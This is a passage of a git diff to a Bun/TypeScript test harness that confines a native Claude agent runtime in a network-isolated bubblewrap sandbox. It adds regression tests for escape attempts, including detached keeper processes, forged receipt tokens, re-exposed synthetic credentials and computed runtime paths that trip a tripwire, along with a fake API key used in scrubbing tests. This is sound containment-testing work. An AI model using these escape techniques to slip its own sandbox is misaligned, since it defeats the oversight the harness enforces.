(!identity || identity.workerUid === process.getuid?.()) refuse("native worker audit lacks a verified separate UID"); + if (!identity || identity.workerUid === nativeKernelIdentity().uid) refuse("native worker audit lacks a verified separate UID"); audited = auditNativeLaunch(nativeSeparateUidAuditCommand(bwrapExecutable,payload,"AUDIT_STORAGE"), expected, disposeBridge, identity.workerUid); const log = audited.argv[audited.argv.indexOf("-o") + 1]!, directory = dirname(log); audited.argv[audited.argv.indexOf("AUDIT_STORAGE")] = directory; diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 786b512c9e..6b45cdf954 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -1,6 +1,6 @@ import { inheritNativeReceipts, withoutNativeReceipts, nativeReceipt, flushNativeReceipts } from "./native-test-receipts.ts"; /** Test-only subprocess and transport safeguards; never imported by a published package. */ -import { prepareNativeBootstrapDiagnostics, recordNativeGuardChild, isGuardedNativePlan, guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, nativeTestHead, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; +import { nativeGuardedBoundary,nativeWorkerClassification,nativeUnknownBoundary,prepareNativeBootstrapDiagnostics, recordNativeGuardChild, isGuardedNativePlan, guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, nativeTestHead, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; import { basename, join } from "node:path"; import { Server as HttpServer } from "node:http"; import { isIP, Socket } from "node:net"; @@ -173,10 +173,10 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { const options = (Array.isArray(first) ? args[1] ?? {} : args[0]) as { cwd?: string; env?: Record }; // Fixture helpers often replace env completely, including provider-history // probes. Carry test Git policy through those children as well as shells. - let boundary: ReturnType | undefined; + let boundary: ReturnType = nativeGuardedBoundary(cmd); // Runtime provenance also covers wrapper/interpreter arguments; // non-file status descriptors are excluded before resolving identity. - if (isNativeClaude(executable, cmd.slice(1), options)) { + if (!boundary&&isNativeClaude(executable, cmd.slice(1), options)) { if (key === "spawnSync") refuseNativeClaude(executable, cmd.slice(1), options); boundary = nativeClaudeBoundary(executable, cmd.slice(1), options); args[0] = Array.isArray(first) ? boundary.argv : { ...first, cmd: boundary.argv }; @@ -184,8 +184,10 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { const workerBoundary = boundary ? undefined : nativeWorkerBoundary(testGitEnvironment({ ...options.env ?? process.env, ...(options.env?.BRAIN_NATIVE_TEST_HEAD === undefined ? { BRAIN_NATIVE_TEST_HEAD: nativeTestHead() } : {}), ...(!Object.hasOwn(options.env ?? {},"GITHUB_ACTIONS") && process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", ...(!Object.hasOwn(options.env ?? {},"RUNNER_ENVIRONMENT")?{RUNNER_ENVIRONMENT:process.env.RUNNER_ENVIRONMENT}:{}) } : {}) })); + const unknownBoundary=!boundary&&!workerBoundary?.unknown&&!options.env?.BRAIN_WORKER_LAUNCH&&nativeWorkerClassification(cmd,options)==="unknown"?nativeUnknownBoundary((Array.isArray(args[0])?args[0]:(args[0] as {cmd:string[]}).cmd) as string[],options):undefined; + if(unknownBoundary)args[0]=Array.isArray(first)?unknownBoundary.argv:{...args[0] as object,cmd:unknownBoundary.argv}; let inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? workerBoundary!.env }, defaultStderr, pipeOnly); - if(!boundary&&!pipeOnly&&!isGuardedNativePlan(cmd)){ + if(!boundary&&!unknownBoundary&&!workerBoundary?.unknown&&!pipeOnly&&!isGuardedNativePlan(cmd)){ const actual=Array.isArray(args[0])?args[0] as string[]:(args[0] as {cmd:string[]}).cmd; const channel=inheritNativeReceipts(inherited,actual,defaultStderr);inherited=channel.options; args[0]=Array.isArray(first)?channel.argv:{...args[0] as object,cmd:channel.argv}; @@ -198,7 +200,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { if (Array.isArray(first)) args[1] = inherited; else args[0] = { ...inherited, cmd: (args[0] as { cmd: string[] }).cmd }; try { - boundary?.beforeLaunch(); workerBoundary?.beforeLaunch(); + boundary?.beforeLaunch();unknownBoundary?.beforeLaunch(); workerBoundary?.beforeLaunch(); const result = Reflect.apply(native, Bun, args); if (key === "spawn") { const exited=result.exited,evidence=bootstrapDiagnostics?.attach(result); @@ -206,7 +208,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { workerBoundary?.observe?.(result.pid); const completed=exited.then(async(code:number)=>{ await evidence?.drained;await report; - boundary?.dispose();workerBoundary?.dispose();flushNativeReceipts();return code; + boundary?.dispose();unknownBoundary?.dispose();workerBoundary?.dispose();flushNativeReceipts();return code; }); // Callers can synchronously read a protocol FIFO after this promise. // No guard-owned writer or deferred receipt remains when it resolves. @@ -214,7 +216,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { } else {workerBoundary?.dispose();flushNativeReceipts();} return result; - } catch (error) { bootstrapDiagnostics?.dispose(); boundary?.dispose(); workerBoundary?.dispose(); throw error; } + } catch (error) { bootstrapDiagnostics?.dispose(); boundary?.dispose();unknownBoundary?.dispose(); workerBoundary?.dispose(); throw error; } }) as typeof Bun.spawn & typeof Bun.spawnSync; } diff --git a/tests/native-guard-regressions.test.ts b/tests/native-guard-regressions.test.ts new file mode 100644 index 0000000000..2a2ffcc76a --- /dev/null +++ b/tests/native-guard-regressions.test.ts @@ -0,0 +1,46 @@ +/** Keyless kernel facts and retained qualification evidence; no native payloads. */ +import {expect,spyOn,test} from "bun:test"; +import {readFileSync} from "node:fs"; +import {nativeKernelIdentity} from "../scripts/native-test-receipts"; +import {auditNativeLaunch,nativeQualificationEvidence,nativeRetainedBoundaryRecord} from "../scripts/test-native-guard"; + +test("guard audit ownership uses kernel identity while product UID functions are mocked",async()=>{ + const status=readFileSync("/proc/self/status","utf8"); + const expected={uid:Number(/^Uid:\s+\d+\s+\d+\s+\d+\s+(\d+)/m.exec(status)![1]),gid:Number(/^Gid:\s+\d+\s+\d+\s+\d+\s+(\d+)/m.exec(status)![1])}; + const uid=spyOn(process,"getuid").mockReturnValue(expected.uid+1),gid=spyOn(process,"getgid").mockReturnValue(expected.gid+1); + let plan:ReturnType|undefined; + try{ + expect(nativeKernelIdentity(),"GUARD_IDENTITY_COMES_FROM_KERNEL").toEqual(expected); + plan=auditNativeLaunch(["bwrap","--unshare-user","--ro-bind","/","/","--","/usr/bin/true"],["/usr/bin/true"],()=>{},undefined,true); + const child=Bun.spawn(plan.argv,{stdout:"pipe",stderr:"pipe"});const [exit,err]=await Promise.all([child.exited,new Response(child.stderr).text()]); + expect(exit,err).toBe(0);expect(plan.receipt(),"MOCKED_PRODUCT_UID_DOES_NOT_INVALIDATE_GUARD_AUDIT").toMatchObject({success:true,nativeLaunched:false}); + }finally{uid.mockRestore();gid.mockRestore();plan?.dispose();} +}); + +test("qualification stderr retains bounded scrubbed probe and exit evidence",()=>{ + const secret="sk-ant-api03-"+"z".repeat(95)+"AA"; + const result=nativeQualificationEvidence("bwrap",{exitCode:1,stderr:`uid_map failed at /tmp/odysseus-private/probe ${secret}\n`+"x".repeat(4096)}); + expect(result.probe).toBe("bwrap");expect(result.exitCode).toBe(1);expect(result.signal).toBeNull(); + expect(result.stderr.length,"QUALIFICATION_STDERR_IS_BOUNDED").toBeLessThanOrEqual(1024); + expect(result.stderr).toContain("uid_map failed");expect(result.stderr).not.toContain("odysseus-private");expect(result.stderr).not.toContain(secret); + expect(nativeRetainedBoundaryRecord("OS namespace setup failed",undefined,result),"QUALIFICATION_FAILURE_SURVIVES_RECEIPT_LOSS").toMatchObject({qualification:result}); +}); + +test("failed namespace qualification retains stderr even when receipts are suppressed",async()=>{ + const {mkdtempSync,readdirSync,rmSync}=await import("node:fs"),{join}=await import("node:path"),{spawnGuardFixture}=await import("./helpers/native-receipt-fixture"); + const root=mkdtempSync("/tmp/odysseus-qualification-retained-"),repo=join(import.meta.dir,".."); + try{ + const code=`import {mock} from "bun:test"; + const receipts=await import(${JSON.stringify(join(repo,"scripts/native-test-receipts.ts"))});mock.module(${JSON.stringify(join(repo,"scripts/native-test-receipts.ts"))},()=>({...receipts,nativeReceipt:()=>{}})); + process.argv.push("--default-phase=fresh","--native-identity-startup-audit="+${JSON.stringify(root)}); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const spawnSync=Bun.spawnSync;Bun.spawnSync=(argv,options)=>argv[0]==="bwrap"?{exitCode:1,signalCode:null,stdout:Buffer.alloc(0),stderr:Buffer.from("uid_map operation not permitted at /tmp/odysseus-private/probe")}:spawnSync(argv,options); + const {nativeClaudeBoundary}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))});try{nativeClaudeBoundary("/synthetic/never-executed",[],{});}catch{}`; + const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,err]=await Promise.all([child.exited,child.guardOutput()]); + expect(exit).not.toBe(0);expect(err).not.toContain('"kind":"native-offline-boundary"'); + const files=readdirSync(root).filter(name=>name.startsWith("native-boundary-failure-"));expect(files).toHaveLength(1); + const record=JSON.parse(readFileSync(join(root,files[0]!),"utf8")); + expect(record,"QUALIFICATION_STDERR_IS_WIRED_TO_RETAINED_FAILURE").toMatchObject({phase:"fresh",reason:"OS namespace setup failed",qualification:{probe:"bwrap",exitCode:1,signal:null}}); + expect(record.qualification.stderr).toContain("uid_map operation not permitted");expect(record.qualification.stderr).not.toContain("odysseus-private"); + }finally{rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 3c0ad95124..cff0488bc1 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -816,7 +816,7 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) let lateServer: import("node:net").Server | undefined; let lateConnections=0; try { - boundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin } }); + boundary = nativeClaudeBoundary(executable, [], { receiptMode:"restricted-probe", cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin } }); const child = spawnGuardFixture(boundary.argv, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); const output=Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); const deadline=Date.now()+watchdogMs(10000); @@ -830,6 +830,8 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) expect(code, err).toBe(0); expect(lateConnections).toBe(0); expect(err).not.toContain('"kind":"native-offline-'); + expect(boundary.receipt().nativeLaunched,"RESTRICTED_PROBE_IS_NOT_NATIVE_ADMISSION").toBe(false); + expect(boundary.receipt().success,"DECLARED_RESTRICTED_PAYLOAD_EXECUTED").toBe(true); expect(boundary.receipt().deniedConnects).toBeGreaterThanOrEqual(3); await new Promise(resolve=>lateServer!.close(()=>resolve()));lateServer=undefined; rmSync(join(home,"late-host.sock"),{force:true}); @@ -839,7 +841,7 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) expect(existsSync(toolSeen)).toBe(true); // Restored mutation: re-expose only the synthetic outside credential. // The same runtime assertion must now reject the managed helper escape. - const mutationBoundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin } }); + const mutationBoundary = nativeClaudeBoundary(executable, [], { receiptMode:"restricted-probe", cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin } }); const mutant = [...mutationBoundary.argv]; mutant.splice(mutant.indexOf("--clearenv"), 0, "--ro-bind", sentinel, sentinel); const broken = spawnGuardFixture(mutant, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); diff --git a/tests/native-private-index-role.test.ts b/tests/native-private-index-role.test.ts new file mode 100644 index 0000000000..d3b8a4c9a4 --- /dev/null +++ b/tests/native-private-index-role.test.ts @@ -0,0 +1,34 @@ +/** Real allocator, production worker plan, keyless admission only. */ +import {expect,test} from "bun:test"; +import {mkdtempSync,rmSync} from "node:fs"; +import {join} from "node:path"; +import {bundledClaudeBinary} from "../packages/core/src/providers/agents/claude-binary"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; +const repo=join(import.meta.dir,".."); +for(const mode of ["valid","unregistered","expired","expired-before-launch","foreign-scope","wrong-target","replaced","owner-changed"] as const)test(`private index product role: ${mode}`,async()=>{ + const root=mkdtempSync("/tmp/odysseus-private-role-"); + const code=`import * as fs from "node:fs";import {join} from "node:path";import {spyOn} from "bun:test"; + import {nativeScriptedService,nativeFixturePrivateIndex,nativeWorkerBoundary} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; + import {createPrivateIndexDirectory,removePrivateIndexDirectory} from ${JSON.stringify(join(repo,"packages/ui-server/src/brain/private-index.ts"))}; + import {workerCommand} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; + import {createFixtureWorkerStartupView} from ${JSON.stringify(join(repo,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))}; + const mode=${JSON.stringify(mode)},root=${JSON.stringify(root)},brain=join(root,"brain");fs.mkdirSync(brain);const startupView=createFixtureWorkerStartupView(brain); + const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("Ithaca")}),leave=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,root]}),index=createPrivateIndexDirectory();let release,foreign,plan; + const original=Bun.spawnSync,which=Bun.which;Bun.which=(name,options)=>name==="strace"?"/synthetic/strace":which(name,options);Bun.spawnSync=(argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options]);process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + try{ + if(mode!=="unregistered")release=nativeFixturePrivateIndex(index,brain); + const runtime=${JSON.stringify(bundledClaudeBinary())},env={HOME:root,PATH:"/usr/bin:/bin"},launch={brainPath:brain,startupView,command:[runtime],env},argv=workerCommand(launch); + argv.splice(argv.indexOf("--"),0,"--ro-bind",index,join(brain,mode==="wrong-target"?"notes":".brain-index")); + if(mode==="expired")release(); + if(mode==="foreign-scope")foreign=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,root]}); + if(mode==="replaced"){fs.renameSync(index,index+"-held");fs.mkdirSync(index);} + if(mode==="owner-changed"){const stat=fs.lstatSync;spyOn(fs,"lstatSync").mockImplementation((path,options)=>{const info=stat(path,options);return path===index?{...info,uid:options?.bigint?info.uid+1n:info.uid+1}:info;});} + plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({...launch,argv})});if(mode==="expired-before-launch")release();plan.beforeLaunch(); + const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;fs.writeFileSync(guarded[guarded.indexOf("-o")+1],"1 execve("+JSON.stringify(runtime)+", [], 0x1) = 0\\n");plan.dispose();plan=undefined;console.log("EXACT_PRIVATE_INDEX_ROLE_ADMITTED"); + }finally{plan?.dispose();release?.();foreign?.();leave();server.stop(true);startupView.cleanup();removePrivateIndexDirectory(index);fs.rmSync(index+"-held",{recursive:true,force:true});}`; + try{ + const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + if(mode==="valid"){expect(exit,err).toBe(0);expect(out,"EXACT_PRIVATE_INDEX_ROLE_ADMITTED").toContain("EXACT_PRIVATE_INDEX_ROLE_ADMITTED");} + else{expect(exit,"UNTRUSTED_PRIVATE_INDEX_ROLE_REFUSED "+err).not.toBe(0);expect(out).not.toContain("EXACT_PRIVATE_INDEX_ROLE_ADMITTED");expect(err).toContain("native-offline-boundary");if(["expired","expired-before-launch","unregistered","foreign-scope"].includes(mode))expect(err,"MISSING_PRIVATE_INDEX_NAMES_ITS_PRODUCT_ROLE").toContain('"sourceKind":"product-private-index"');} + }finally{rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-receipt-channel.test.ts b/tests/native-receipt-channel.test.ts index 59e6fe2778..b0feea3b10 100644 --- a/tests/native-receipt-channel.test.ts +++ b/tests/native-receipt-channel.test.ts @@ -104,3 +104,29 @@ test("a receipt descriptor cannot declare a different bind source",()=>{ expect(()=>inheritNativeReceipts({env:{BRAIN_NATIVE_RECEIPT:JSON.stringify(token)}},["bwrap","--ro-bind","/","/","--","/usr/bin/true"],"pipe"),"RECEIPT_BIND_IS_THE_EXACT_PRIVATE_FILE").toThrow("Native receipt file is unavailable"); }finally{capture.dispose();rmSync(root,{recursive:true,force:true});} }); + +for(const mode of ["reused-owner","closed-fd","permission","forged-token"] as const)test(`receipt authority failure stays scoped: ${mode}`,async()=>{ + const capture=captureNativeReceipts(); + try{ + const script=`import * as fs from "node:fs";import {spyOn} from "bun:test";import {nativeReceipt,inheritNativeReceipts} from ${JSON.stringify(receiptModule)}; + const state=globalThis[Symbol.for("brain-kit.test.native-receipt-owner")],sink=state.sink,mode=${JSON.stringify(mode)}; + if(!sink)throw Error("LIVE_INHERITED_OWNER_REQUIRED"); + if(mode==="reused-owner"){ + sink.ownerStart="0";nativeReceipt({fixture:"must-not-write"}); + const child=inheritNativeReceipts({env:{}},["/usr/bin/true"],"pipe"); + if(child.options.env.BRAIN_NATIVE_RECEIPT||state.sink||!state.degraded)throw Error("EXPIRED_OWNER_RETAINS_AUTHORITY"); + nativeReceipt({fixture:"must-not-write-again"});console.log("WRITE_NOTHING_AFTER_OWNER_IDENTITY_EXPIRES"); + }else{ + let rejected=false,restore; + if(mode==="closed-fd")fs.closeSync(sink.fd); + if(mode==="permission"){const read=fs.readFileSync;restore=spyOn(fs,"readFileSync").mockImplementation((path,...args)=>{if(path==="/proc/"+sink.ownerPid+"/stat")throw Object.assign(Error("denied"),{code:"EACCES"});return read(path,...args);});} + try{if(mode==="forged-token")inheritNativeReceipts({env:{BRAIN_NATIVE_RECEIPT:JSON.stringify({...sink,ownerStart:"0"})}},["/usr/bin/true"],"pipe");else nativeReceipt({fixture:"must-not-write"});}catch{rejected=true;}finally{restore?.mockRestore();} + if(!rejected||state.degraded)throw Error("INVALID_AUTHORITY_MUST_REFUSE_NOT_DEGRADE");console.log("INVALID_AUTHORITY_REFUSED"); + }`; + const child=Bun.spawn([process.execPath,"-e",script],{env:{...process.env,...capture.env},stdout:"pipe",stderr:"pipe"}); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(exit,err).toBe(0);expect(capture.read(),"FAILED_AUTHORITY_WRITES_NOTHING").toBe(""); + expect(out).toContain(mode==="reused-owner"?"WRITE_NOTHING_AFTER_OWNER_IDENTITY_EXPIRES":"INVALID_AUTHORITY_REFUSED"); + if(mode==="reused-owner")expect(err.match(/native-receipt-degraded/g),"ONE_FIXED_DEGRADED_RECORD").toHaveLength(1); + }finally{capture.dispose();} +}); diff --git a/tests/native-strict-admission.test.ts b/tests/native-strict-admission.test.ts index 24c3644a78..086aec2b90 100644 --- a/tests/native-strict-admission.test.ts +++ b/tests/native-strict-admission.test.ts @@ -42,7 +42,8 @@ let plan,output,undeclare,otherView,inheritedLeave;try{ const readyFile=join(root,"keeper-ready"),keeperArgv=["bwrap","--unshare-user","--bind","/","/","--tmpfs",mount,"--proc","/proc","--dev","/dev","--","/bin/sh","-c",'mkdir -p "$1/merged/workspaces"; echo $$ > "$2"; exec sleep "$3"',"odysseus-managed-keeper",mount,readyFile,String(watchdogMs(30000)/1000)]; // A remote manager's keeper is not a guard-observed child. Fork through a // short-lived manager stand-in, then prove ownership through the descriptor. - const managerChild=Bun.spawn(["/usr/bin/python3","-I","-S","-c",'import os,sys\\nif os.fork(): os._exit(0)\\nos.execvp(sys.argv[1],sys.argv[1:])',...keeperArgv],{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"ignore",stderr:"ignore"});await managerChild.exited; + const {NATIVE_FIXTURE_FORK_EXEC}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}); + const managerChild=Bun.spawn(["/usr/bin/python3","-I","-S","-c",NATIVE_FIXTURE_FORK_EXEC,...keeperArgv],{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"ignore",stderr:"ignore"});await managerChild.exited; const readyDeadline=Date.now()+watchdogMs(5000);while(!fs.existsSync(readyFile)){if(Date.now()>readyDeadline)throw Error("REAL_MANAGED_KEEPER_READY_REQUIRED");await Bun.sleep(5);} const pid=Number(fs.readFileSync(readyFile,"utf8").trim()); const fd=fs.openSync('/proc/'+pid+'/root'+mount,'r'),start=fs.readFileSync('/proc/'+pid+'/stat','utf8').replace(/^.*\\) /s,'').split(' ')[19];let finishObserved;const observedExit=new Promise(resolve=>finishObserved=resolve); diff --git a/tests/native-tripwire.test.ts b/tests/native-tripwire.test.ts new file mode 100644 index 0000000000..e4916779e9 --- /dev/null +++ b/tests/native-tripwire.test.ts @@ -0,0 +1,137 @@ +/** Keyless tripwire plans never execute an installed native runtime, even in mutations. */ +import {expect,test} from "bun:test"; +import {join} from "node:path"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; +const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); +for(const mode of ["loop","positional","eval","stdin","nested"] as const)test(`unknown tripwire preserves ${mode} fixture behavior`,async()=>{ + const code=`import {nativeWorkerClassification} from ${JSON.stringify(guard)}; + const mode=${JSON.stringify(mode)},script=mode==="loop"?'i=0; while [ "$i" -lt 2 ]; do i=$((i+1)); done; printf Ithaca':mode==="positional"?'exec "$1" Ithaca':mode==="eval"?'eval "$1"':'IFS= read -r line; printf "%s" "$line"'; + const args=mode==="positional"?["odysseus-peer","/usr/bin/printf"]:mode==="eval"?["odysseus-peer","printf Ithaca"]:[]; + const command=mode==="nested"?[Bun.which("bwrap"),"--unshare-user","--bind","/","/","--","/bin/sh","-c",'i=1; printf Ithaca']:["/bin/sh","-c",script,...args]; + if(nativeWorkerClassification(command)!=="unknown")throw Error("REAL_UNKNOWN_SHAPE_REQUIRED"); + const child=Bun.spawn(command,{stdin:"pipe",stdout:"pipe",stderr:"pipe"});if(mode==="stdin")child.stdin.write("Ithaca\\n");child.stdin.end(); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + if(exit!==0||out!=="Ithaca"||err)throw Error("UNKNOWN_FIXTURE_BEHAVIOR_CHANGED "+mode+" "+exit+" "+err);console.log("UNKNOWN_FIXTURE_BEHAVIOR_UNCHANGED");`; + const child=spawnGuardFixture([process.execPath,"-e",code]); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"UNKNOWN_FIXTURE_BEHAVIOR_UNCHANGED "+mode+" "+err).toBe(0);expect(out.trim()).toBe("UNKNOWN_FIXTURE_BEHAVIOR_UNCHANGED"); +}); + +test("unknown launch receives no receipt environment or descriptor",async()=>{ + const code=`import {captureNativeReceipts} from ${JSON.stringify(join(import.meta.dir,"../scripts/native-test-receipts.ts"))}; + import {writeFileSync,readFileSync,mkdtempSync,rmSync} from "node:fs"; + const root=mkdtempSync("/tmp/odysseus-tripwire-fds-"),file=root+"/probe.ts"; + const probe='import {readdirSync,readFileSync} from "node:fs";let receipts=0;for(const entry of readdirSync("/proc/self/fd")){try{if(readFileSync("/proc/self/fdinfo/"+entry,"utf8").includes("ino:")){}const p=require("node:fs").readlinkSync("/proc/self/fd/"+entry);if(p.includes("odysseus-native-receipts-"))receipts++;}catch{}}console.log(JSON.stringify({token:process.env.BRAIN_NATIVE_RECEIPT??null,receipts}));'; + writeFileSync(file,probe);const capture=captureNativeReceipts(); + try{const c=Bun.spawn(["/bin/sh","-c",'exec "$1" "$2"',"fixture",process.execPath,file],{env:{...process.env,...capture.env},stdout:"pipe",stderr:"pipe"});const [exit,out,err]=await Promise.all([c.exited,new Response(c.stdout).text(),new Response(c.stderr).text()]);if(exit)throw Error(err);console.log(out);if(capture.read())throw Error("UNKNOWN_RECEIPT_WAS_WRITABLE");}finally{capture.dispose();rmSync(root,{recursive:true,force:true});}`; + const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,err).toBe(0);expect(JSON.parse(out),"UNKNOWN_HAS_NO_RECEIPT_CAPABILITY").toEqual({token:null,receipts:0}); +}); + +// Remap discovery in an isolated guard instance to a harmless static ELF. Even +// removing every mask can only run this witness, never the installed runtime. +const fixtureDiscovery=`import * as fs from "node:fs";import {mock} from "bun:test";import {spawn,spawnSync} from "node:child_process"; + const root=fs.mkdtempSync("/tmp/odysseus-tripwire-runtime-"),target=root+"/selected",alias=root+"/alias"; + const built=Bun.spawnSync(["cc","-static","-Os","-x","c","-","-o",target],{stdin:Buffer.from('#include \\nint main(void){write(1,"UNMASKED_PAYLOAD_RAN\\\\n",21);return 0;}'),stdout:"pipe",stderr:"pipe"});if(built.exitCode)throw Error("HARMLESS_STATIC_WITNESS_REQUIRED");fs.symlinkSync(target,alias); + const {bundledClaudeBinary}=await import(${JSON.stringify(join(import.meta.dir,"../packages/core/src/providers/agents/claude-binary.ts"))});const installed=bundledClaudeBinary(),real=fs.realpathSync; + mock.module("node:fs",()=>({...fs,realpathSync:(path,...args)=>{const resolved=real(path,...args);return resolved===installed?target:resolved;}})); + const guard=await import(${JSON.stringify(guard+"?tripwire-witness")});`; + +// Node starts this metadata-only guard instance before any Bun preload can wrap +// its qualification probes. Its selected runtime is the harmless ELF above. +function isolatedWitness(code:string){return spawnGuardFixture([Bun.which("node")!,"-e",`const c=require("node:child_process").spawn(${JSON.stringify(process.execPath)},["-e",${JSON.stringify(code)}],{env:process.env,stdio:"inherit"});c.on("exit",code=>process.exit(code??1));`]);} + +for(const spelling of ["target","alias"] as const)test(`unknown computed ${spelling} hits a fixed tripwire before native code`,async()=>{ + const code=fixtureDiscovery+` + const env={...process.env,CLAUDE_CODE_PATH:alias,ODYSSEUS_RUNTIME:${spelling}}; + const command=["/bin/sh","-c",'exec "$ODYSSEUS_RUNTIME"']; + if(guard.nativeWorkerClassification(command,{env})!=="unknown")throw Error("COMPUTED_RUNTIME_MUST_BE_UNKNOWN"); + const masks=guard.nativeTripwireMaskPaths({env});if(!masks.includes(target)||!masks.includes(alias))throw Error("ALL_RUNTIME_SPELLINGS_MASKED"); + const p=guard.nativeUnknownBoundary(command,{env});let out="",err=""; + try{const c=spawn(p.argv[0],p.argv.slice(1),{env:p.env,stdio:["ignore","pipe","pipe"]});c.stdout.on("data",chunk=>out+=chunk);c.stderr.on("data",chunk=>err+=chunk);const exit=await new Promise(resolve=>c.once("close",resolve));console.log(JSON.stringify({exit,out,err}));}finally{p.dispose();fs.rmSync(root,{recursive:true,force:true});} + guard.assertNoNativeRefusals();`; + const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"TRIPWIRE_NATIVE_ATTEMPT_FAILS_INVOCATION "+err).not.toBe(0); + expect(err,"TRIPWIRE_FIXED_REFUSAL_RECORDED").toContain('"reason":"installed native runtime blocked by tripwire"'); + expect(out,"TRIPWIRE_PREVENTS_PAYLOAD_EXECUTION").not.toContain("UNMASKED_PAYLOAD_RAN"); + expect(JSON.parse(out).exit).toBe(126); +}); + +test("unknown restriction unavailable refuses before returning a launch plan",async()=>{ + const unavailableDiscovery=fixtureDiscovery.replace("const guard=await import",'const rawSpawn=Bun.spawnSync;Bun.spawnSync=(argv,options)=>argv[0].endsWith("/bwrap")?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from("namespace unavailable")}:rawSpawn(argv,options);const guard=await import'); + const code=unavailableDiscovery+` + const bin=root+"/bin";fs.mkdirSync(bin);fs.symlinkSync("/usr/bin/false",bin+"/bwrap");fs.symlinkSync(Bun.which("strace"),bin+"/strace"); + const which=Bun.which;Bun.which=(name,options)=>name==="bwrap"?bin+"/bwrap":which(name,options); + let p;try{p=guard.nativeUnknownBoundary(["/bin/sh","-c","x=Ithaca; printf %s \\\"$x\\\""],{env:{PATH:bin}});}catch{console.log("UNKNOWN_RESTRICTION_REFUSED_BEFORE_PLAN");}finally{p?.dispose();fs.rmSync(root,{recursive:true,force:true});} + if(p)throw Error("UNAVAILABLE_RESTRICTION_RETURNED_A_PLAN");`; + const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit).not.toBe(0);expect(out,"UNAVAILABLE_UNKNOWN_NEVER_GETS_A_PLAN").toContain("UNKNOWN_RESTRICTION_REFUSED_BEFORE_PLAN");expect(err).toContain('"reason":"restriction cannot be enforced"'); +}); + +test("T7 a tripwire refusal is scoped to its launch in the same process",async()=>{ + const code=fixtureDiscovery+` + const env={...process.env,CLAUDE_CODE_PATH:alias,ODYSSEUS_RUNTIME:alias}; + async function run(plan){let out="";try{const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);const exit=await new 